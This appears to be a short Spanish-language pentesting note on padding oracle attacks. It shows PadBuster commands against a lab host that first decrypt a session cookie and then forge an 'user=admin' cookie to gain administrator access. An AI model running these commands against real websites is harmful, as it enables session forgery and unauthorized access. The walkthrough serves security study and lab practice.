> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/padding-oracle-attack/padding-oracle-techniques-pentesting-web.md).
# Técnicas de oráculo de padding
Vamos **crear un usuario** en el sitio web:
Aquí está el **cookie de sesión** que está fragmentado y que intentamos de **descifrar**:
Con la herramienta **PadBuster**, enviamos el enlace con la cookie de sesión y su nombre de la siguiente manera:
```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard'
```
Devuelve los valores de la cookie en **texto claro**:
Si en lugar de establecer **user=jordan**, la ciframos como **user=admin**, esto nos da la cookie de sesión de administrador si existe. Con **PadBuster**, reenviamos el comando, pero esta vez usamos **-plaintext** porque conocemos el texto plano que queremos cifrar con el mismo **oráculo**:
```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard' -plaintext 'user=admin'
```
Él nos da la cookie de sesión **admin**:
---
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